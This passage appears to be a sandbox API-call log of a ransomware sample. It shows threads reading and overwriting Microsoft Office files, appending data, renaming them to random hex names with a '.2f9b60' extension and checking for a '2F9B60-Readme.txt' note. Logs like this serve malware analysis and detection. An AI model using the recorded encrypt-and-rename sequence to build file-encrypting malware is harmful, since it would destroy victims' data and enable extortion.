IoStatusBlock=0x3ad0f6f8, FileInformation=0x3ad0f708) returned 0x0 [0192.489] NtSetInformationFile (FileHandle=0x1f68, IoStatusBlock=0x3ad0f6f8, FileInformation=0x3ad0f708, Length=0x28, FileInformationClass=0x4) returned 0x0 [0209.454] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20507a50) returned 1 [0209.454] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aefe0) returned 1 [0209.454] FlushFileBuffers (hFile=0x1f68) returned 1 [0209.541] CloseHandle (hObject=0x1f68) returned 1 [0216.552] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x202a5d60 [0216.553] wcscpy (in: _Dest=0x202a5d60, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0216.553] wcscat (in: _Dest=0x202a5d60, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\2F9B60-Readme.txt" [0216.553] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\2f9b60-readme.txt")) returned 0x20 [0216.554] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a5d60) returned 1 [0216.554] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202afa00) returned 1 Thread: id = 2177 os_tid = 0x15a4 [0140.278] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_k_col.hxk")) returned 0x20 [0140.279] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK", dwFileAttributes=0x20) returned 1 [0140.799] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_k_col.hxk"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1eec [0144.486] GetFileSizeEx (in: hFile=0x1eec, lpFileSize=0x3b8af7e0 | out: lpFileSize=0x3b8af7e0*=113) returned 1 [0144.486] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fde40 [0144.486] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fded0 [0144.486] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff610 [0144.486] NtQuerySystemTime (in: CurrentTime=0x3b8af6a0 | out: CurrentTime=0x3b8af6a0*=132462177497206000) returned 0x0 [0144.486] RtlRandomEx (in: Seed=0x3b8af690 | out: Seed=0x3b8af690) returned 0x2a364862 [0144.486] RtlRandomEx (in: Seed=0x3b8af690 | out: Seed=0x3b8af690) returned 0xba5eea5 [0144.486] RtlRandomEx (in: Seed=0x3b8af690 | out: Seed=0x3b8af690) returned 0x57baa2c6 [0144.486] RtlRandomEx (in: Seed=0x3b8af690 | out: Seed=0x3b8af690) returned 0x3ab887fc [0144.486] RtlRandomEx (in: Seed=0x3b8af690 | out: Seed=0x3b8af690) returned 0x3125cfb0 [0144.486] RtlRandomEx (in: Seed=0x3b8af690 | out: Seed=0x3b8af690) returned 0x4f349788 [0144.486] RtlRandomEx (in: Seed=0x3b8af690 | out: Seed=0x3b8af690) returned 0x1e1aa360 [0144.486] RtlRandomEx (in: Seed=0x3b8af690 | out: Seed=0x3b8af690) returned 0x7e63c5f3 [0144.486] RtlRandomEx (in: Seed=0x3b8af690 | out: Seed=0x3b8af690) returned 0x8c88d87 [0144.486] RtlRandomEx (in: Seed=0x3b8af690 | out: Seed=0x3b8af690) returned 0x2886d7a0 [0144.486] RtlRandomEx (in: Seed=0x3b8af690 | out: Seed=0x3b8af690) returned 0xf70f4ba [0144.486] RtlRandomEx (in: Seed=0x3b8af690 | out: Seed=0x3b8af690) returned 0x33b0c2b [0144.486] RtlRandomEx (in: Seed=0x3b8af690 | out: Seed=0x3b8af690) returned 0x66d283e0 [0144.487] RtlRandomEx (in: Seed=0x3b8af690 | out: Seed=0x3b8af690) returned 0x5affd7c3 [0144.487] RtlRandomEx (in: Seed=0x3b8af690 | out: Seed=0x3b8af690) returned 0x448b2502 [0144.487] RtlRandomEx (in: Seed=0x3b8af690 | out: Seed=0x3b8af690) returned 0x53bb9f74 [0144.487] RtlRandomEx (in: Seed=0x3b8af690 | out: Seed=0x3b8af690) returned 0x65469e10 [0144.487] RtlRandomEx (in: Seed=0x3b8af690 | out: Seed=0x3b8af690) returned 0x622082ff [0144.487] RtlRandomEx (in: Seed=0x3b8af690 | out: Seed=0x3b8af690) returned 0x1358597c [0144.487] RtlRandomEx (in: Seed=0x3b8af690 | out: Seed=0x3b8af690) returned 0x7f253059 [0144.487] RtlRandomEx (in: Seed=0x3b8af690 | out: Seed=0x3b8af690) returned 0xf70f4ba [0144.487] RtlRandomEx (in: Seed=0x3b8af690 | out: Seed=0x3b8af690) returned 0x1b9335fc [0144.487] RtlRandomEx (in: Seed=0x3b8af690 | out: Seed=0x3b8af690) returned 0x2accc53 [0144.487] RtlRandomEx (in: Seed=0x3b8af690 | out: Seed=0x3b8af690) returned 0x2102875f [0144.487] RtlRandomEx (in: Seed=0x3b8af690 | out: Seed=0x3b8af690) returned 0x3a90860d [0144.487] RtlRandomEx (in: Seed=0x3b8af690 | out: Seed=0x3b8af690) returned 0x1c2e385b [0144.487] RtlRandomEx (in: Seed=0x3b8af690 | out: Seed=0x3b8af690) returned 0x5928466f [0144.487] RtlRandomEx (in: Seed=0x3b8af690 | out: Seed=0x3b8af690) returned 0x12b8e72 [0144.487] RtlRandomEx (in: Seed=0x3b8af690 | out: Seed=0x3b8af690) returned 0x56f92959 [0144.487] RtlRandomEx (in: Seed=0x3b8af690 | out: Seed=0x3b8af690) returned 0x2286dda [0144.487] RtlRandomEx (in: Seed=0x3b8af690 | out: Seed=0x3b8af690) returned 0x4fd9a1ed [0144.487] RtlRandomEx (in: Seed=0x3b8af690 | out: Seed=0x3b8af690) returned 0x25880751 [0144.495] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff5e0 [0144.496] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061fb0 [0144.496] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff370 [0144.496] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061fb0) returned 1 [0144.496] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff610) returned 1 [0144.497] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fde40) returned 1 [0144.497] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ce0 [0144.497] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061fb0 [0144.497] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fde40 [0144.497] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fde40) returned 1 [0144.497] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42331d40 [0144.497] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42326910 [0144.497] ReadFile (in: hFile=0x1eec, lpBuffer=0x42331d40, nNumberOfBytesToRead=0x71, lpNumberOfBytesRead=0x3b8af690, lpOverlapped=0x0 | out: lpBuffer=0x42331d40*, lpNumberOfBytesRead=0x3b8af690*=0x71, lpOverlapped=0x0) returned 1 [0144.499] SetFilePointerEx (in: hFile=0x1eec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.499] WriteFile (in: hFile=0x1eec, lpBuffer=0x42326910*, nNumberOfBytesToWrite=0x71, lpNumberOfBytesWritten=0x3b8af694, lpOverlapped=0x0 | out: lpBuffer=0x42326910*, lpNumberOfBytesWritten=0x3b8af694*=0x71, lpOverlapped=0x0) returned 1 [0144.528] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe5c0 [0144.528] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd690 [0144.528] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd690) returned 1 [0144.528] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42326910) returned 1 [0144.528] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42331d40) returned 1 [0144.528] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061fb0) returned 1 [0144.528] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ce0) returned 1 [0144.529] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x1cd9f5b0 [0144.529] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ce0 [0144.529] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061fb0 [0144.529] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd690 [0144.529] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd690) returned 1 [0144.529] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x1cd9fbf0 [0144.529] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd690 [0144.529] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe590 [0144.530] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe590) returned 1 [0144.530] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061fb0) returned 1 [0144.530] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ce0) returned 1 [0144.530] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x110) returned 0x166f20 [0144.530] SetFilePointerEx (in: hFile=0x1eec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0144.530] WriteFile (in: hFile=0x1eec, lpBuffer=0x166f20*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x3b8af7b0, lpOverlapped=0x0 | out: lpBuffer=0x166f20*, lpNumberOfBytesWritten=0x3b8af7b0*=0x110, lpOverlapped=0x0) returned 1 [0144.539] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ce0 [0144.539] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061fb0 [0144.539] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe050 [0144.540] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe050) returned 1 [0144.540] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x204fe050 [0144.540] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe410 [0144.540] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe110 [0144.540] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe110) returned 1 [0144.540] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061fb0) returned 1 [0144.540] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ce0) returned 1 [0144.540] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3d) returned 0x42059ce0 [0144.540] sprintf (in: _Dest=0x42059ce0, _Format="%c%c" | out: _Dest="06") returned 2 [0144.541] sprintf (in: _Dest=0x42059ce2, _Format="%c%c" | out: _Dest="a7") returned 2 [0144.541] sprintf (in: _Dest=0x42059ce4, _Format="%c%c" | out: _Dest="f0") returned 2 [0144.541] sprintf (in: _Dest=0x42059ce6, _Format="%c%c" | out: _Dest="01") returned 2 [0144.541] sprintf (in: _Dest=0x42059ce8, _Format="%c%c" | out: _Dest="9e") returned 2 [0144.541] sprintf (in: _Dest=0x42059cea, _Format="%c%c" | out: _Dest="6d") returned 2 [0144.541] sprintf (in: _Dest=0x42059cec, _Format="%c%c" | out: _Dest="23") returned 2 [0144.541] sprintf (in: _Dest=0x42059cee, _Format="%c%c" | out: _Dest="d0") returned 2 [0144.541] sprintf (in: _Dest=0x42059cf0, _Format="%c%c" | out: _Dest="80") returned 2 [0144.541] sprintf (in: _Dest=0x42059cf2, _Format="%c%c" | out: _Dest="78") returned 2 [0144.541] sprintf (in: _Dest=0x42059cf4, _Format="%c%c" | out: _Dest="65") returned 2 [0144.541] sprintf (in: _Dest=0x42059cf6, _Format="%c%c" | out: _Dest="54") returned 2 [0144.541] sprintf (in: _Dest=0x42059cf8, _Format="%c%c" | out: _Dest="5d") returned 2 [0144.541] sprintf (in: _Dest=0x42059cfa, _Format="%c%c" | out: _Dest="b0") returned 2 [0144.541] sprintf (in: _Dest=0x42059cfc, _Format="%c%c" | out: _Dest="1f") returned 2 [0144.541] sprintf (in: _Dest=0x42059cfe, _Format="%c%c" | out: _Dest="c0") returned 2 [0144.541] sprintf (in: _Dest=0x42059d00, _Format="%c%c" | out: _Dest="69") returned 2 [0144.541] sprintf (in: _Dest=0x42059d02, _Format="%c%c" | out: _Dest="f9") returned 2 [0144.541] sprintf (in: _Dest=0x42059d04, _Format="%c%c" | out: _Dest="d4") returned 2 [0144.541] sprintf (in: _Dest=0x42059d06, _Format="%c%c" | out: _Dest="a9") returned 2 [0144.541] sprintf (in: _Dest=0x42059d08, _Format="%c%c" | out: _Dest="77") returned 2 [0144.541] sprintf (in: _Dest=0x42059d0a, _Format="%c%c" | out: _Dest="a7") returned 2 [0144.541] sprintf (in: _Dest=0x42059d0c, _Format="%c%c" | out: _Dest="74") returned 2 [0144.541] sprintf (in: _Dest=0x42059d0e, _Format="%c%c" | out: _Dest="01") returned 2 [0144.541] sprintf (in: _Dest=0x42059d10, _Format="%c%c" | out: _Dest="8b") returned 2 [0144.541] sprintf (in: _Dest=0x42059d12, _Format="%c%c" | out: _Dest="b3") returned 2 [0144.541] sprintf (in: _Dest=0x42059d14, _Format="%c%c" | out: _Dest="80") returned 2 [0144.541] sprintf (in: _Dest=0x42059d16, _Format="%c%c" | out: _Dest="43") returned 2 [0144.541] sprintf (in: _Dest=0x42059d18, _Format="%c%c" | out: _Dest="70") returned 2 [0144.542] sprintf (in: _Dest=0x42059d1a, _Format="%c%c" | out: _Dest="72") returned 2 [0144.542] RtlInitAnsiString (in: DestinationString=0x3b8af828, SourceString="06a7f0019e6d23d0807865545db01fc069f9d4a977a774018bb380437072" | out: DestinationString="06a7f0019e6d23d0807865545db01fc069f9d4a977a774018bb380437072") [0144.542] RtlAnsiStringToUnicodeString (in: DestinationString=0x3b8af7f8, SourceString="06a7f0019e6d23d0807865545db01fc069f9d4a977a774018bb380437072", AllocateDestinationString=1 | out: DestinationString="06a7f0019e6d23d0807865545db01fc069f9d4a977a774018bb380437072") returned 0x0 [0144.542] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x202ae2f0 [0144.542] RtlFreeAnsiString (AnsiString="0") [0144.542] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ce0) returned 1 [0144.542] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe050) returned 1 [0144.542] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe410) returned 1 [0144.542] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x166f20) returned 1 [0144.543] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9fbf0) returned 1 [0144.543] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd690) returned 1 [0144.543] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f5b0) returned 1 [0144.543] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe5c0) returned 1 [0144.543] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fded0) returned 1 [0144.543] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff5e0) returned 1 [0144.543] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff370) returned 1 [0144.543] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x20507690 [0144.544] wcscat (in: _Dest=0x20507690, _Source="06a7f0019e6d23d" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\06a7f0019e6d23d") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\06a7f0019e6d23d" [0144.544] wcscat (in: _Dest=0x20507690, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\06a7f0019e6d23d.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\06a7f0019e6d23d.2f9b60" [0144.544] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\06a7f0019e6d23d.2f9b60", NtPathName=0x3b8af7d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\06a7f0019e6d23d.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0144.544] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x1ce224a0 [0144.544] NtSetInformationFile (FileHandle=0x1eec, IoStatusBlock=0x3b8af870, FileInformation=0x1ce224a0, Length=0xac, FileInformationClass=0xa) returned 0x0 [0146.136] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce224a0) returned 1 [0146.136] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20293df0) returned 1 [0146.136] NtQueryInformationFile (in: FileHandle=0x1eec, IoStatusBlock=0x3b8af838, FileInformation=0x3b8af848, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3b8af838, FileInformation=0x3b8af848) returned 0x0 [0146.136] NtSetInformationFile (FileHandle=0x1eec, IoStatusBlock=0x3b8af838, FileInformation=0x3b8af848, Length=0x28, FileInformationClass=0x4) returned 0x0 [0146.137] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20507690) returned 1 [0146.137] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ae2f0) returned 1 [0146.137] FlushFileBuffers (hFile=0x1eec) returned 1 [0146.270] CloseHandle (hObject=0x1eec) returned 1 [0146.272] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x202af6a0 [0146.272] wcscpy (in: _Dest=0x202af6a0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0146.272] wcscat (in: _Dest=0x202af6a0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\2F9B60-Readme.txt" [0146.272] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\2f9b60-readme.txt")) returned 0x20 [0146.273] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202af6a0) returned 1 [0146.273] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aec80) returned 1 Thread: id = 2178 os_tid = 0x15a8 [0140.286] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.XLA" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\exptoows.xla")) returned 0x20 [0140.288] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.XLA", dwFileAttributes=0x20) returned 1 [0140.800] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.XLA" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\exptoows.xla"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1ef4 [0144.551] GetFileSizeEx (in: hFile=0x1ef4, lpFileSize=0x3af5f760 | out: lpFileSize=0x3af5f760*=114688) returned 1 [0144.551] SetFilePointerEx (in: hFile=0x1ef4, liDistanceToMove=0x1bffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.551] ReadFile (in: hFile=0x1ef4, lpBuffer=0x3af5f6e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3af5f728, lpOverlapped=0x0 | out: lpBuffer=0x3af5f6e0*, lpNumberOfBytesRead=0x3af5f728*=0x4, lpOverlapped=0x0) returned 1 [0144.568] SetFilePointerEx (in: hFile=0x1ef4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.568] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff370 [0144.568] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fded0 [0144.569] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe410 [0144.569] NtQuerySystemTime (in: CurrentTime=0x3af5f620 | out: CurrentTime=0x3af5f620*=132462177498142000) returned 0x0 [0144.569] RtlRandomEx (in: Seed=0x3af5f610 | out: Seed=0x3af5f610) returned 0x492aace3 [0144.569] RtlRandomEx (in: Seed=0x3af5f610 | out: Seed=0x3af5f610) returned 0x7660e847 [0144.569] RtlRandomEx (in: Seed=0x3af5f610 | out: Seed=0x3af5f610) returned 0x75896a1f [0144.569] RtlRandomEx (in: Seed=0x3af5f610 | out: Seed=0x3af5f610) returned 0x290a5b22 [0144.569] RtlRandomEx (in: Seed=0x3af5f610 | out: Seed=0x3af5f610) returned 0x670b4459 [0144.569] RtlRandomEx (in: Seed=0x3af5f610 | out: Seed=0x3af5f610) returned 0x535dc491 [0144.569] RtlRandomEx (in: Seed=0x3af5f610 | out: Seed=0x3af5f610) returned 0x2d10ae19 [0144.569] RtlRandomEx (in: Seed=0x3af5f610 | out: Seed=0x3af5f610) returned 0x397c6a7d [0144.569] RtlRandomEx (in: Seed=0x3af5f610 | out: Seed=0x3af5f610) returned 0x4ceabfd [0144.569] RtlRandomEx (in: Seed=0x3af5f610 | out: Seed=0x3af5f610) returned 0x641a2a9f [0144.569] RtlRandomEx (in: Seed=0x3af5f610 | out: Seed=0x3af5f610) returned 0x73d08666 [0144.569] RtlRandomEx (in: Seed=0x3af5f610 | out: Seed=0x3af5f610) returned 0x23afaf33 [0144.569] RtlRandomEx (in: Seed=0x3af5f610 | out: Seed=0x3af5f610) returned 0x55de2bf8 [0144.569] RtlRandomEx (in: Seed=0x3af5f610 | out: Seed=0x3af5f610) returned 0x5844c9b6 [0144.569] RtlRandomEx (in: Seed=0x3af5f610 | out: Seed=0x3af5f610) returned 0x2a8bf9e2 [0144.569] RtlRandomEx (in: Seed=0x3af5f610 | out: Seed=0x3af5f610) returned 0x1e4225e2 [0144.569] RtlRandomEx (in: Seed=0x3af5f610 | out: Seed=0x3af5f610) returned 0x1989dfbf [0144.569] RtlRandomEx (in: Seed=0x3af5f610 | out: Seed=0x3af5f610) returned 0x41353173 [0144.569] RtlRandomEx (in: Seed=0x3af5f610 | out: Seed=0x3af5f610) returned 0x2977e7f9 [0144.569] RtlRandomEx (in: Seed=0x3af5f610 | out: Seed=0x3af5f610) returned 0x344e4452 [0144.569] RtlRandomEx (in: Seed=0x3af5f610 | out: Seed=0x3af5f610) returned 0x2a59c0e2 [0144.569] RtlRandomEx (in: Seed=0x3af5f610 | out: Seed=0x3af5f610) returned 0x4b29d0eb [0144.569] RtlRandomEx (in: Seed=0x3af5f610 | out: Seed=0x3af5f610) returned 0x269fb886 [0144.569] RtlRandomEx (in: Seed=0x3af5f610 | out: Seed=0x3af5f610) returned 0x4bac3a0f [0144.569] RtlRandomEx (in: Seed=0x3af5f610 | out: Seed=0x3af5f610) returned 0x7935a6af [0144.570] RtlRandomEx (in: Seed=0x3af5f610 | out: Seed=0x3af5f610) returned 0x6e0d79c2 [0144.570] RtlRandomEx (in: Seed=0x3af5f610 | out: Seed=0x3af5f610) returned 0x67e6faaa [0144.570] RtlRandomEx (in: Seed=0x3af5f610 | out: Seed=0x3af5f610) returned 0x4425c8b8 [0144.570] RtlRandomEx (in: Seed=0x3af5f610 | out: Seed=0x3af5f610) returned 0x2dea8696 [0144.570] RtlRandomEx (in: Seed=0x3af5f610 | out: Seed=0x3af5f610) returned 0x2bb7e722 [0144.570] RtlRandomEx (in: Seed=0x3af5f610 | out: Seed=0x3af5f610) returned 0x13ea1e39 [0144.570] RtlRandomEx (in: Seed=0x3af5f610 | out: Seed=0x3af5f610) returned 0x2d2faab5 [0144.578] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe050 [0144.578] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061f30 [0144.579] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe110 [0144.579] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061f30) returned 1 [0144.579] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe410) returned 1 [0144.579] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff370) returned 1 [0144.579] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42339560 [0144.579] SetFilePointerEx (in: hFile=0x1ef4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.579] ReadFile (in: hFile=0x1ef4, lpBuffer=0x42339560, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3af5f680, lpOverlapped=0x0 | out: lpBuffer=0x42339560*, lpNumberOfBytesRead=0x3af5f680*=0x3c00, lpOverlapped=0x0) returned 1 [0144.590] SetFilePointerEx (in: hFile=0x1ef4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.590] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ce0 [0144.590] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061fb0 [0144.590] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fde40 [0144.590] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fde40) returned 1 [0144.590] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42331d40 [0144.591] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fde40 [0144.591] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff2e0 [0144.591] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff2e0) returned 1 [0144.591] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061fb0) returned 1 [0144.592] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ce0) returned 1 [0144.592] WriteFile (hFile=0x1ef4, lpBuffer=0x42331d40, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3af5f680, lpOverlapped=0x0) [0180.169] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42331d40) returned 1 [0180.169] SetFilePointerEx (in: hFile=0x1ef4, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.169] ReadFile (in: hFile=0x1ef4, lpBuffer=0x42339560, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3af5f680, lpOverlapped=0x0 | out: lpBuffer=0x42339560*, lpNumberOfBytesRead=0x3af5f680*=0x3c00, 